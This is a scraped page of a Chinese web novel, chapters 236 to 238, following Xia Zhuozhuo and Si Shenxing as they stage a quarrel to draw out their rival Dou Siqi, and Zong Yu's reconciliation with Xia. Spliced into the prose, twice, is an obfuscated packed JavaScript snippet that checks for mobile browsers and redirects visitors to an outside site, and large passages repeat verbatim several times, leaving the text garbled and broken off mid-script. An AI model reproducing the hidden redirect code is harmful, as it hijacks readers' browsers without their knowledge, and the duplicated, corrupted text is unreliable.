与此同时,窦斯齐得到了消息。 第236章 引蛇出洞 “夏灼灼真是宗域的前女友?”窦斯齐激动到差点失去平时的沉稳。 手下点头。 “千真万确!” “仔细说说!” “两个人在京都的图书馆认识。他们都想借同一本书但因为那本书只有一本宗域让给了她。 夏灼灼说自己看完就拿给他两个人因此留了联系方式。 后来经常相约一起去图书馆两人越来越熟很顺其自然地在一起了。” 窦斯齐抖着手点了支烟。 “那他们为什么分开?夏灼灼没看上宗域?” 他知道宗域在攀上云家之前只是一个毫无背景的小警员。 所以他本能觉得是夏灼灼抛弃了宗域。 然而手下却说:“不大少爷您错了是宗域背叛了她。他为了云家给的权势劈腿了云家大小姐被夏灼灼撞个正着两个人因此闹掰。” 窦斯齐皱起眉。 竟然是这样。 那这么说宗域不恨夏灼灼反而亏欠她? 这对他来说并不是什么好消息。 他是想拉拢宗域站在夏家的对立面的。 却听手下又说:“不过宗域对夏灼灼仍然有感情。据我查到的宗域来沪城第二天就打算去看夏云海还在看守所门口跟夏灼灼和司慎行碰了个正着。司慎行打了他一拳。这件事是看守所的值班员告诉我的。” 窦斯齐眼底重燃亮光。 他可以利用宗域挑拨夏灼灼和司慎行的关系。 这么一来他再走自己的计划除掉夏灼灼司慎行就不会深查。 他计划里唯一的忌惮就此没了。 “真是瞌睡送个枕头正是时候!” “继续查看他们最近有没有往来。” 手下笑眯眯地说:“给您办事我哪能不上心?他们今天已经见面了。” 窦斯齐很惊喜。 手下拿出一张照片。 上面是夏灼灼抱着宗域的照片。 当时工作人员提醒宗域去录制伸手敲了门。 门没关紧一敲门就开了一条缝。 而门口的两个警卫员宗域提前安排过他们 她到底名义上是司慎行的未婚妻。 这就给了窦斯齐的人偷拍的机会。 也是巧合。 窦斯齐的手下正好查到宗域和 夏灼灼都在电台录节目,所以急匆匆赶过来。 赶巧就看到那一幕。 短短两秒时间,被定格在了照片里。 窦斯齐把照片拿在手里,反复摩擦。 “好,好极了!你想要什么?沪城这边,你还没房子吧? 手下一喜,连忙谢过窦斯齐。 窦斯齐对手下向来赏罚分明,当即就让他去选房子。 而他,则是将照片丢到邮局,寄给了阿麦。 他知道,直接寄给司慎行,司慎行未必有那么多时间看一封匿名信,但是给阿麦,他一定会看。 阿麦是个很勤恳的人。 因为是同城邮寄,第二天,阿麦就收到了照片。 他额头吓出了一头的冷汗,下意识要把照片毁尸灭迹。 可思来想去,他还是留下了照片,准备派人去查这是谁寄的。 且不论夏灼灼和宗域是否旧情复燃,寄照片的人一定没安好心。 他得先查到这个人是谁,把消息摁住,再去找夏灼灼私下好好谈一谈。 然而没等他派人去查,司慎行突然推门而入。 司慎行找他,是有事情要让他去做,因为有点急,所以没打电话,直接进了阿麦的办公室。 阿麦被狠狠吓一跳,手一抖,手里的照片就落在了地上。 阿麦下意识踩住,但这一举动无疑是此地无银三百两。 司慎行朝他走了过来。 “是什么? “……阿麦面如土色。 “阿麦,是什么? 阿麦咬着牙,说:“少爷,我、我最近看上了一个女孩子,这是她的照片,但是、但是我暂时还不想告诉您她是谁。 司慎行深深看他一眼。 “阿麦,你第一次对我撒谎,你很紧张。 “…… “是什么? 阿麦知道自己瞒不住,只好蹲下身,把照片捡起来。 “少爷,我把照片给您,但是,您一定要冷静,这说不定是有什么误会。 司慎行直接把照片拿了过来。 夏灼灼和宗域相拥的场面,顿时映入眼帘。 阿麦吓得腿都有点软。 他甚至不敢去看司慎行的表情。 司慎行发火的时候,任何人都承受不住他的怒火。 然而阿麦等了好一会儿,却丝毫没感觉到气氛有任何的变化。 不应该啊。 此刻气氛应该 僵硬到了极点才对。 他壮着胆子朝司慎行看过去,只见司慎行眉头微蹙,眼神里颇为不满——却没有怒火。 怎么回事? “少爷? 司慎行抬眼看向他。 见他满脸紧张,不由得拍了拍他的肩膀,说:“没事,灼灼已经跟我说过了。 “?阿麦缓缓打出一个问号。 司慎行道:“昨天她去电视台,碰到了宗域。 她详细跟他说了当时的情况,提前告知他自己要去见宗域。 等节目录完,她立刻就约了他吃饭,把两个人的聊天内容一一告诉了他。 包括他们的“拥抱。 夏灼灼说,那是她对过去的道别。 他虽然吃醋,却也没有不爽。 ——还有什么不爽的?她什么都告诉他了!这种行为,已经是一种态度。 而他要的,也只是一个态度。 所以看到照片,他吃醋,却不恼怒。 阿麦听完解释,长长出了一口气,心里对夏灼灼更是敬佩。 她未雨绸缪提前告知了司慎行自己会跟宗域见面,之后又坦荡荡跟他说清楚她跟宗域拥抱了。 如此一来,天王老子也挑拨不了他们。 “您跟夏小姐之间没有误会,我就放心了。 阿麦说着,问司慎行:“需要查寄信人吗? “查! “是。 司慎行在沪城这边,算不上是手眼通天,所以这件事阿麦拜托了自己的弟弟谷仔。 谷仔一口答应,毕竟这件事跟夏灼灼也有关系,出动暗部的人调查,名正言顺。 很快就有了消息。 “是湖畔大饭店的一个服务生。谷仔对阿麦说。 阿麦立刻想起,窦斯齐就住在湖畔大饭店。 “我知道了,这件事你也告诉夏小姐一声。 “好。 阿麦又问谷仔:“听说你有心上人了? 谷仔的脸微微发红。 “我、我们已经在一起了。 “改天带出来见见,我得给弟妹一个大红 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15482760|165743||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 包。 谷仔的脸更红,说:“我先取得她家里人的同意,再带她来见你。 “好。 两个人分开的时候,阿麦拍了拍谷仔的肩。 “有任何需要哥帮忙的,随时开口。我们兄弟之间,不讲客套。 谷仔的眼睛微微有些湿润。 “好。 哥!” 阿麦笑了笑,开车走了。 他心里在盘算着,谷仔结婚的时候,他这个做哥哥的该给多少红包。 他们没有爸妈,所以,他要把爸妈那两份也算上。 他得好好工作才行了。 另一边,夏灼灼从谷仔那里得知了被偷拍一事。 “是窦斯齐的人。” 夏灼灼眸光冷凝如**。 但很快,她想到了一个计划。 第二天,夏灼灼约司慎行吃饭。 仍旧去四季阁。 夏灼灼很喜欢这里的菜。 等菜上齐,包厢的门关上,司慎行就跟他提了偷拍的事,还把照片给了她。 夏灼灼看了一眼,下意识看向司慎行。 却见司慎行神色如常,这才松了口气。 “你没生气就好。” 司慎行道:“你都提前跟我报备了,我还生气,岂不是伤你的心?我绝不会做任何伤你心的事情。不过你得补偿我,今天多抱我十分钟。” “……” 前面的时候,夏灼灼还很感动,听到后面,又想打他。 她索性真捶了他一下。 司慎行却是抓住她的手。 “好舒服,再打几下。” 夏灼灼懒得理他,低头夹菜。 等吃完饭,夏灼灼说起了自己的计划。 “我们可以将计就计。我今天过来的时候,感觉有辆车一直跟着我,应该也是窦家的人,一会儿出去,我们就可以把戏唱起来。” 司慎行点头。 “让毒蛇一直躲在暗处也不好,我们时刻得警惕,很累,索性引蛇出洞。” 又说:“只是我担心你会出事。不如这样,我把霍刚留给你。他虽然脑子不好,但身手不错,我也不是他的对手。” 夏灼灼哑然一笑。 “人人都知道他是你的人,你安排他在我身边,岂不是露馅了?” “可是我怕……” “没什么好怕的,你跟我说过的,面对阴影,要想办法克服而不是逃避,鼓起勇气就会发现不过如此。” “我当时说的是宗域。” “一个意思。” 司慎行说不过她,只好让她自己加派人手在她身边保护她。 夏灼灼答应了。 “我会格外小心。” 两个人说完详细的计划,并没有马上离开。 司慎行让她作为赔礼,抱了他十分钟。 这十分钟,他们什么都不做,只是相拥着。 但仅仅只是这样,司慎行也觉得很美好。 “那栋科技大楼,你叫你的人帮我查仔细了,有任何不对劲的地方,立刻打电话告诉我。”夏灼灼出门前,认真叮嘱司慎行。 司慎行应声。 “我办事,你放一万个心。” 他派过去潜伏的两个“清洁工”,现在已经跟大楼的人混的很熟了。 如果大楼有什么问题,他们第一时间能知道。 夏灼灼点点头,随后用力揉了下脸。 该开始“唱戏”了! 第237章 他会守护她 “司慎行!” 夏灼灼大喝一声:“你爱信不信!不信算了!这点信任都没有,我们之间也没有什么好说的了。” 司慎行被她吓了一跳。 但很快进入状态。 “你说的解释,就是这么解释的?”他黑沉下脸。 “我说了,你不信,你还要我怎么解释?我从来都不知道,原来在你心里,我是这种人!” “怎么?还成了我的错?” 夏灼灼沉默,然后突然拉开门,直接沉着一张脸出去了。 二楼包厢还有其他客人,听到动静,纷纷过来看热闹。 只看到夏灼灼脸色难看地离开,而司慎行,叫服务生拿酒进来,根本没追出去。 夏灼灼脸色更加难看,直接离开了四季阁,驱车而去。 这个消息,很快传到了窦斯齐耳朵里。 他冷笑一声,说:“那张照片果然到了司慎行手里。” “那我们现在就开始行动?”手下问。 窦斯齐点了支烟,说:“先不急,这两个人感情深,指不定今晚就和好了,先观望看看。顺便,我们再添一把火。” “怎么添?” 窦斯齐笑而不语,拨通了宗域的电话。 “阿域,晚上一起喝点酒?” “窦少有事吗?” “没事就不能请你喝酒?” “当然可以。” 当晚,窦斯齐“无意”把夏灼灼和司慎行两个人吵架的事情告诉了宗域。 宗域听了,表情并没有多大的变化。 只是刚才还说自己要戒烟的他,又开始点起烟来。 窦斯齐看着,很好地掩藏住眼底的笑意。 第二天,夏灼灼接到了宗域的电话。 “是我,能一起吃顿饭吗?” “抱歉,我没心情。” “跟司慎行有关。” 夏灼灼犹豫片刻,问他:“什么时候?” “晚餐?” “好。” 宗域提前派了人,去一家北方菜餐厅包了场。 消息传到窦斯齐耳朵里。 他拿出手机,给司慎行打了个电话。 “司先生,今天晚上有时间吗?我想请您吃顿饭,不知道您可否赏脸?” “窦少客气了,你请客,我当然奉陪。” 窦斯齐给了个地址,正好是宗域定的餐厅的隔壁餐厅。 …… 转眼到了晚上。 两拨 人“碰巧”在附近停车场碰到。 司慎行看到夏灼灼和宗域一起出现,一张脸阴沉得能滴出水来。 他深深看了两人一眼,眼神憎恶和冷漠。 却什么都不说,转头就走了。 窦斯齐追上去。 “司先生,不吃饭了吗?” “我还有事,改天吧!” 说完,他直接上车,开车走了。 窦斯齐转眸去看夏灼灼。 只见夏灼灼望着司慎行的车子离开的方向,呆呆站在原地,眼底蓄了一层水雾,仿佛随时要哭出来。 他心下大喜,知道自己添的火,烧得更旺了。 他不再留下来看戏,免得引起怀疑,很快也走了。 “小灼。”宗域忍不住开口:“都是我的错,我本来是想帮你的,结果弄巧成拙,让你们加深了误会。我可以帮你去解释。” “不用了,我没事。谢谢你,宗域。” 宗域微微一愣,心跳快起来。 “其实,我们还是可以……” 夏灼灼打断他:“宗域,我说过的话,你都忘记了。” 宗域的脸色一白,强颜欢笑道:“我没忘。你说覆水难收,我都记得。” 他只是气司慎行,他怎么能因为这点小事就朝夏灼灼发火,伤她的心? 可转眼一想,他自己又是个什么好东西呢? 司慎行发火,是因为对夏灼灼太在乎,虽然用错了方式,可他的初衷,是出自于爱。 反观他…… 那天夏灼灼说的话,他回去之后苦想了一夜。 她问他,是否权势对他来说最重要,他能否做到为了她放弃权势? 他想了一夜之后得出答案:他做不到。 夏灼灼是他的一束光。 可这束光,跟权势相比,还是差了一些。 他其实不贪恋权势,只是他真的很需要。 他爸爸被他打死,那一刻他彷徨无措。 是权势帮了他。 她妈妈被他爸打成重伤住院,昏迷不醒。 他没有钱医治母亲,更找不到太好的医生。 依旧是权势帮了他。 他爱夏灼灼,但他也需要权势。 这成了他的执念。 可也恰恰是因为这份执念,他爱夏灼灼爱得不够纯粹,所以失去了她,是他活该。 “我先回去了。”夏灼灼说。 宗域眉头微微一拧,说:“我送你回去。” “不用,我 打车回去。” “我有话跟你说。很重要,事关你和司慎行。” 夏灼灼犹豫片刻后点头答应了。 上了宗域的车后,宗域也不拐弯抹角,直接说道:“你跟司慎行之间,是有人在挑拨。我帮你查过了,这个人就是窦斯齐。你要小心他。” 夏灼灼有些意外。 不是意外窦斯齐,而是意外宗域竟把这个消息告诉了她。 “你……” “我会保护好你。”宗域的眼睛格外明亮。 “……谢谢。” “是我欠你的。” 夏灼灼沉默,没有再说话了。 宗域也没有再开口,就这么沉默着把她送回了夏家。 一直到车子停靠好,宗域才再次开口:“我知道你爸爸是党帅的人,你放心,我会帮你爸爸的。云家和我,都不会站在党家的对立面。” 夏灼灼张了张嘴,好半天不知道该说什么。 她以为宗域会因爱生恨。 他甚至会因此成为党家的**烦。 可事实告诉她,她当初没爱错人。 “谢谢你,阿域。” 她改了称呼。 宗域的眼睛微微一亮。 “我们以后……还能做朋友,是吗?” 夏灼灼不想让他误会,直言道:“也只能是朋友。而且,我可能会利用你……” “无妨,能让你利用,也算是我对你的一点补偿。我只怕你看都不想看到我。” 又说:“你跟司慎行吵架的事你也放心,我会亲自找他去说。” “不必……”夏灼灼犹豫片刻,把事实告诉了他。 宗域很是意外。 “引蛇出洞?” “嗯。窦斯齐对付我已经不是第一次了,一次比一次行事狠辣。上次如果不是我谨慎,又恰好有人帮我,我已经死在他手里了。” 宗域眼底暗芒涌现。 “窦斯齐该死!” “他的确该死。而且这人是窦家很厉害的一把刀,除掉他,无疑会让窦家陷入危机。” 宗域想了想,说:“窦斯齐还有个弟弟,窦斯礼,或许可以从这人身上下手。” “我也这么想。” “需要我帮你做什么?” “不用,我们自己会解决。这次的事,你已经算是帮我忙了。” “小灼。”宗域很认真地说:“你不用对我客气。我说过,我想帮你。” 夏灼灼沉默片刻,也不扭捏了。 “那就帮我做一件事。” 她细声说完了,宗域立刻点头:“小事,我帮你办成。” “多谢。” 宗域牵了牵唇,原本如死水般的黑眸,总算找到了生命存活的迹象。 他会守护她。 他想要权势的初衷,不就是为了保护好自己和自己爱的人吗? 他得到了权势,自然,要保护好夏灼灼。 哪怕他再也得不到她了。 可夏灼灼说得对,人不能太贪心,仅仅是此刻,他已经很满足。 夏灼灼跟宗域道别下车,夏太太正好看到了。 她望着开走的车子,疑惑地问:“灼灼,怎么……” 夏灼灼跟她解释了。 夏太太张了张嘴,却什么都说不出来,只是长长叹了一口气。 “这个孩子,也是个可怜的。” 说话间,语气里已然没了在看守所门口时,对宗域的厌恶。 “他已经得到了他最想要的了。”夏灼灼说。 比起更多人,宗域并不可怜。 他得到了他想要的权势,他的母亲也不会再有男人敢殴打她。 感情上不美满,不妨碍他现在是一个成功男士。 至于宗域以后会不会再找到第二个让他动心的人,其实答案就在眼前。 云霓就算有一万个缺点,但她足够爱宗域。 宗域回到家后,私人助理提醒他:“明天就是太太的生日了,她这阵子过得不太好,您……要送她生日礼物吗?” 宗域下意识要说不用。 他知道,云霓之所以过得不好,是因为她对云老爷子下毒了。 这件事,云老爷子回京之后,就告诉了他。 云老爷子虽然帮着把事情压下去,但他们之间多了一根刺。 云霓就是因此过得不太好的。 她不再是云老爷子最疼爱的孙女了。 云老爷子反而对他这个孙女婿赋予了厚望。 但云老爷子显然又看错了人。 老爷子身上的毒,是他下的。 他想报仇。 当初设计他爸去赌的人,云霓一个人做不到,云老爷子是帮凶。 可他万万没想到,云老爷子找到了夏灼灼治病。 他的毒素被清除了。 但往后,他不会再对老爷子下毒了。 老爷子现在很倚仗他。 当然,还因为夏灼灼那天在电视台的话,让他对自己进行了深刻的反省。 夏灼灼说得对,无论如何,云家帮了他。 没有云家,他不会有今天。 所以话到嘴边,又咽了回去。 “你帮我选一样,寄过去吧。” “是。” 私人助理很高兴。 这是宗域第一次松口要送太太礼物。 虽然是让他这个助理挑选。 “那就帮我做一件事。” 她细声说完了,宗域立刻点头:“小事,我帮你办成。” “多谢。” 宗域牵了牵唇,原本如死水般的黑眸,总算找到了生命存活的迹象。 他会守护她。 他想要权势的初衷,不就是为了保护好自己和自己爱的人吗? 他得到了权势,自然,要保护好夏灼灼。 哪怕他再也得不到她了。 可夏灼灼说得对,人不能太贪心,仅仅是此刻,他已经很满足。 夏灼灼跟宗域道别下车,夏太太正好看到了。 她望着开走的车子,疑惑地问:“灼灼,怎么……” 夏灼灼跟她解释了。 夏太太张了张嘴,却什么都说不出来,只是长长叹了一口气。 “这个孩子,也是个可怜的。” 说话间,语气里已然没了在看守所门口时,对宗域的厌恶。 “他已经得到了他最想要的了。”夏灼灼说。 比起更多人,宗域并不可怜。 他得到了他想要的权势,他的母亲也不会再有男人敢殴打她。 感情上不美满,不妨碍他现在是一个成功男士。 至于宗域以后会不会再找到第二个让他动心的人,其实答案就在眼前。 云霓就算有一万个缺点,但她足够爱宗域。 宗域回到家后,私人助理提醒他:“明天就是太太的生日了,她这阵子过得不太好,您……要送她生日礼物吗?” 宗域下意识要说不用。 他知道,云霓之所以过得不好,是因为她对云老爷子下毒了。 这件事,云老爷子回京之后,就告诉了他。 云老爷子虽然帮着把事情压下去,但他们之间多了一根刺。 云霓就是因此过得不太好的。 她不再是云老爷子最疼爱的孙女了。 云老爷子反而对他这个孙女婿赋予了厚望。 但云老爷子显然又看错了人。 老爷子身上的毒,是他下的。 他想报仇。 当初设计他爸去赌的人,云霓一个人做不到,云老爷子是帮凶。 可他万万没想到,云老爷子找到了夏灼灼治病。 他的毒素被清除了。 但往后,他不会再对老爷子下毒了。 老爷子现在很倚仗他。 当然,还因为夏灼灼那天在电视台的话,让他对自己进行了深刻的反省。 夏灼灼说得对,无论如何,云家帮了他。 没有云家,他不会有今天。 所以话到嘴边,又咽了回去。 “你帮我选一样,寄过去吧。” “是。” 私人助理很高兴。 这是宗域第一次松口要送太太礼物。 虽然是让他这个助理挑选。 “那就帮我做一件事。” 她细声说完了,宗域立刻点头:“小事,我帮你办成。” “多谢。” 宗域牵了牵唇,原本如死水般的黑眸,总算找到了生命存活的迹象。 他会守护她。 他想要权势的初衷,不就是为了保护好自己和自己爱的人吗? 他得到了权势,自然,要保护好夏灼灼。 哪怕他再也得不到她了。 可夏灼灼说得对,人不能太贪心,仅仅是此刻,他已经很满足。 夏灼灼跟宗域道别下车,夏太太正好看到了。 她望着开走的车子,疑惑地问:“灼灼,怎么……” 夏灼灼跟她解释了。 夏太太张了张嘴,却什么都说不出来,只是长长叹了一口气。 “这个孩子,也是个可怜的。” 说话间,语气里已然没了在看守所门口时,对宗域的厌恶。 “他已经得到了他最想要的了。”夏灼灼说。 比起更多人,宗域并不可怜。 他得到了他想要的权势,他的母亲也不会再有男人敢殴打她。 感情上不美满,不妨碍他现在是一个成功男士。 至于宗域以后会不会再找到第二个让他动心的人,其实答案就在眼前。 云霓就算有一万个缺点,但她足够爱宗域。 宗域回到家后,私人助理提醒他:“明天就是太太的生日了,她这阵子过得不太好,您……要送她生日礼物吗?” 宗域下意识要说不用。 他知道,云霓之所以过得不好,是因为她对云老爷子下毒了。 这件事,云老爷子回京之后,就告诉了他。 云老爷子虽然帮着把事情压下去,但他们之间多了一根刺。 云霓就是因此过得不太好的。 她不再是云老爷子最疼爱的孙女了。 云老爷子反而对他这个孙女婿赋予了厚望。 但云老爷子显然又看错了人。 老爷子身上的毒,是他下的。 他想报仇。 当初设计他爸去赌的人,云霓一个人做不到,云老爷子是帮凶。 可他万万没想到,云老爷子找到了夏灼灼治病。 他的毒素被清除了。 但往后,他不会再对老爷子下毒了。 老爷子现在很倚仗他。 当然,还因为夏灼灼那天在电视台的话,让他对自己进行了深刻的反省。 夏灼灼说得对,无论如何,云家帮了他。 没有云家,他不会有今天。 所以话到嘴边,又咽了回去。 “你帮我选一样,寄过去吧。” “是。” 私人助理很高兴。 这是宗域第一次松口要送太太礼物。 虽然是让他这个助理挑选。 “那就帮我做一件事。” 她细声说完了,宗域立刻点头:“小事,我帮你办成。” “多谢。” 宗域牵了牵唇,原本如死水般的黑眸,总算找到了生命存活的迹象。 他会守护她。 他想要权势的初衷,不就是为了保护好自己和自己爱的人吗?35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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可他万万没想到,云老爷子找到了夏灼灼治病。 他的毒素被清除了。 但往后,他不会再对老爷子下毒了。 老爷子现在很倚仗他。 当然,还因为夏灼灼那天在电视台的话,让他对自己进行了深刻的反省。 夏灼灼说得对,无论如何,云家帮了他。 没有云家,他不会有今天。 所以话到嘴边,又咽了回去。 “你帮我选一样,寄过去吧。” “是。” 私人助理很高兴。 这是宗域第一次松口要送太太礼物。 虽然是让他这个助理挑选。 “那就帮我做一件事。” 她细声说完了,宗域立刻点头:“小事,我帮你办成。” “多谢。” 宗域牵了牵唇,原本如死水般的黑眸,总算找到了生命存活的迹象。 他会守护她。 他想要权势的初衷,不就是为了保护好自己和自己爱的人吗? 他得到了权势,自然,要保护好夏灼灼。 哪怕他再也得不到她了。 可夏灼灼说得对,人不能太贪心,仅仅是此刻,他已经很满足。 夏灼灼跟宗域道别下车,夏太太正好看到了。 她望着开走的车子,疑惑地问:“灼灼,怎么……” 夏灼灼跟她解释了。 夏太太张了张嘴,却什么都说不出来,只是长长叹了一口气。 “这个孩子,也是个可怜的。” 说话间,语气里已然没了在看守所门口时,对宗域的厌恶。 “他已经得到了他最想要的了。”夏灼灼说。 比起更多人,宗域并不可怜。 他得到了他想要的权势,他的母亲也不会再有男人敢殴打她。 感情上不美满,不妨碍他现在是一个成功男士。 至于宗域以后会不会再找到第二个让他动心的人,其实答案就在眼前。 云霓就算有一万个缺点,但她足够爱宗域。 宗域回到家后,私人助理提醒他:“明天就是太太的生日了,她这阵子过得不太好,您……要送她生日礼物吗?” 宗域下意识要说不用。 他知道,云霓之所以过得不好,是因为她对云老爷子下毒了。 这件事,云老爷子回京之后,就告诉了他。 云老爷子虽然帮着把事情压下去,但他们之间多了一根刺。 云霓就是因此过得不太好的。 她不再是云老爷子最疼爱的孙女了。 云老爷子反而对他这个孙女婿赋予了厚望。 但云老爷子显然又看错了人。 老爷子身上的毒,是他下的。 他想报仇。 当初设计他爸去赌的人,云霓一个人做不到,云老爷子是帮凶。 可他万万没想到,云老爷子找到了夏灼灼治病。 他的毒素被清除了。 但往后,他不会再对老爷子下毒了。 老爷子现在很倚仗他。 当然,还因为夏灼灼那天在电视台的话,让他对自己进行了深刻的反省。 夏灼灼说得对,无论如何,云家帮了他。 没有云家,他不会有今天。 所以话到嘴边,又咽了回去。 “你帮我选一样,寄过去吧。” “是。” 私人助理很高兴。 这是宗域第一次松口要送太太礼物。 虽然是让他这个助理挑选。 “那就帮我做一件事。” 她细声说完了,宗域立刻点头:“小事,我帮你办成。” “多谢。” 宗域牵了牵唇,原本如死水般的黑眸,总算找到了生命存活的迹象。 他会守护她。 他想要权势的初衷,不就是为了保护好自己和自己爱的人吗? 他得到了权势,自然,要保护好夏灼灼。 哪怕他再也得不到她了。 可夏灼灼说得对,人不能太贪心,仅仅是此刻,他已经很满足。 夏灼灼跟宗域道别下车,夏太太正好看到了。 她望着开走的车子,疑惑地问:“灼灼,怎么……” 夏灼灼跟她解释了。 夏太太张了张嘴,却什么都说不出来,只是长长叹了一口气。 “这个孩子,也是个可怜的。” 说话间,语气里已然没了在看守所门口时,对宗域的厌恶。 “他已经得到了他最想要的了。”夏灼灼说。 比起更多人,宗域并不可怜。 他得到了他想要的权势,他的母亲也不会再有男人敢殴打她。 感情上不美满,不妨碍他现在是一个成功男士。 至于宗域以后会不会再找到第二个让他动心的人,其实答案就在眼前。 云霓就算有一万个缺点,但她足够爱宗域。 宗域回到家后,私人助理提醒他:“明天就是太太的生日了,她这阵子过得不太好,您……要送她生日礼物吗?” 宗域下意识要说不用。 他知道,云霓之所以过得不好,是因为她对云老爷子下毒了。 这件事,云老爷子回京之后,就告诉了他。 云老爷子虽然帮着把事情压下去,但他们之间多了一根刺。 云霓就是因此过得不太好的。 她不再是云老爷子最疼爱的孙女了。 云老爷子反而对他这个孙女婿赋予了厚望。 但云老爷子显然又看错了人。 老爷子身上的毒,是他下的。 他想报仇。 当初设计他爸去赌的人,云霓一个人做不到,云老爷子是帮凶。 可他万万没想到,云老爷子找到了夏灼灼治病。 他的毒素被清除了。 但往后,他不会再对老爷子下毒了。 老爷子现在很倚仗他。 当然,还因为夏灼灼那天在电视台的话,让他对自己进行了深刻的反省。 夏灼灼说得对,无论如何,云家帮了他。 没有云家,他不会有今天。 所以话到嘴边,又咽了回去。 “你帮我选一样,寄过去吧。” “是。” 私人助理很高兴。 这是宗域第一次松口要送太太礼物。 虽然是让他这个助理挑选。 第238章 让她偿命 转眼过去几天司慎行跟夏灼灼感情出现裂痕的消息不胫而走。 司慎行有意把消息透给京都的司董事长。 司董事长很高兴打电话夸了他。 “我还怕你真被夏家的女儿缠住了手脚失了理智。你做的很好不愧是我的儿子。” 司慎行没多说什么挂了电话。 司董事长是个很敏锐的人多说多错容易露出端倪。 像平常一样冷淡不多话最能迷惑人。 电话那头司董事长毫不介意司慎行挂了他电话的行为。 因为司慎行平时就是这样的。 他们父子之间有太多隔阂。 司董事长深知都是他自己的原因。 当初如果不在外面留了种司慎行不会被狸猫换太子。 所以儿子有点脾气他不会生气。 司家的老管家开口道:“看来前阵子窦家给咱们传的消息是错误的少爷并没有对夏家的女儿情根深种。” 司董事长深以为然。 “他的性子冷淡随他妈不会轻易对人动情的。我该相信他的 又说:“窦家那边这么做不知道是何居心。” 司管家想了想说:“窦家人一个比一个心思深这么做恐怕是想造成您和少爷父子失和。” “可这么做对窦家没有好处。我们家再乱也轮不到窦家插手进来。” “怎么会没有好处呢?您心里更偏向党帅而少爷则是坚决的中立派。一旦您和少爷父子失和说不定他们就可以趁机拉拢住少爷。儿子跟老子唱反调不是常有的事吗?” 司董事长点点头。 “我病糊涂了脑子不如以前灵光。还好有你。” 又叹息道:“你必然比我的寿命要长如果我走了你帮我多照顾着点阿行。他这人什么都好就是做事太绝。上位者须得学会恩威并施。” 管家连忙说:“您又说丧气话了凌小姐不是登门说她能为您找到神医吗?那位神医一定能治好您的病的。” 司董事长神色复杂几分说:“可是她到现在都还没有领神医上门。” 管家安抚道:“那位神医是暗部的人暗部受尽打压现在已经全面崩盘那位神医应该是躲到了哪里所以不好找。但凌小姐既然有这份心一定能找到神医的。” 司董事长点点头说:“如果她找来的神医真能治 好我的病,我就允许她进门,做阿行的太太。” 又说:“可惜了,凌家是窦派的人。这会让我很难做。” 管家说:“谁输谁赢到现在还没有定论,如果以后赢的是窦家,少爷娶了凌小姐,自然会帮我们在窦家人面前说话的。” 司董事长嗤笑了声,说:“就算窦家赢了,他们也不敢对付咱们司家。我还用不着凌家替我说话。” “是,是我失言了。” 两人说话间,没注意到门口一个佣人身影一闪。 十分钟后,司慎行接到了司家老宅那边打过来的一个电话。 他回到房间接通。 “有消息了?” 电话那头的人说:“是凌小姐。” “悠然?” “嗯。”那人道:“我当时害怕被发现,没敢走太近听,只隐约听到凌小姐这三个字。能被管家尊称为凌小姐的,也就凌悠然小姐了。而且,前两个星期,凌小姐的确来看望过董事长。” “我知道了,你继续帮我盯着,有任何动静都立刻报告我。” “是。” 挂断电话,司慎行心里很是烦躁。 他想要抽烟。 走到茶几边才想起来,他知道夏灼灼讨厌烟味之后,就把家里所有的烟和打火机都扔了。 此刻他格外想抽烟。 他打电话给霍刚,想叫霍刚送烟来。 只是电话接通之后,他却又把话咽了回去。 既然灼灼不喜欢烟味,那他还是狠狠心,把烟戒了吧。 “少爷?”霍刚那头迟迟听不到司慎行说话,疑惑地问:“发生什么事了吗?我现在过来?” “不用。”司慎行回过神,没提烟的事,只问他:“白家那边,最近有什么动静?“ 白知芙的未婚夫在她的订婚宴上**,外界都骂白知芙克夫。 加上,之前他跟夏灼灼一起,废了白念城。 白家必定会把这两笔账都记在夏家和他身上。 对他,白家暂且不敢怎么样,但对夏家,他们未必不敢动手。 霍刚没什么思考能力,不过阿麦提醒过他,要关注白家。 他向来清楚自己没阿麦聪明,所以阿麦说的,他就记在心上了。 他报告道:“订婚宴后,白知芙闭门不出,白季勇从孙峥跃那里得到的权力,被新来的空降兵拿走了不少,他们家现在焦头烂额。不过,我的人告诉我,白季勇这几天见了窦斯齐一次。” 司慎行点头:“继 续盯着白家的人。” “是!” 白季勇和孙峥跃属窦部长的左膀右臂。 孙峥跃倒下了窦部长定然更看重白季勇。 他的一举一动都是窦家授意的盯着他就盯好了半个窦家。 “得想办法让他们忙起来他才腾不出手祸害夏家的人。”司慎行说。 霍刚突然福至心灵。 “白知芙的那个未婚夫余一鸣不是**吗?他们家里的人都是光脚不怕穿鞋的豁得出去不如让余家的上门去找麻烦。” 司慎行微微一挑眉。 “你长脑子了。” “……” “就这么办。这件事交给你了。” “是!” 过了两日正好是余一鸣的葬礼。 白季勇让白知芙出席葬礼。 白知芙不同意。 “您不知道外面是怎么骂我的吗?这个节骨眼出门别人还不知道怎么嘲讽我!” 白季勇恨铁不成钢。 “你不去更落人口舌。余一鸣的死是孙家造成的跟你有什么关系?你不去才让人觉得你心里有鬼。” “我清者自清!警察都放我出来了我去不去都是清白的!” “你非要跟我顶嘴吗?这些事还不是你闹出来的!当初你好好跟夏怀征结婚至于走到这一步?” “难道不是你们不让我跟残废的夏怀征继续往来吗?我本来要去医院看他的是你们说让我别去说夏怀征已经废了 白季勇抬手就是一个耳光。 “放肆!谁允许你这么跟我说话的?!”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 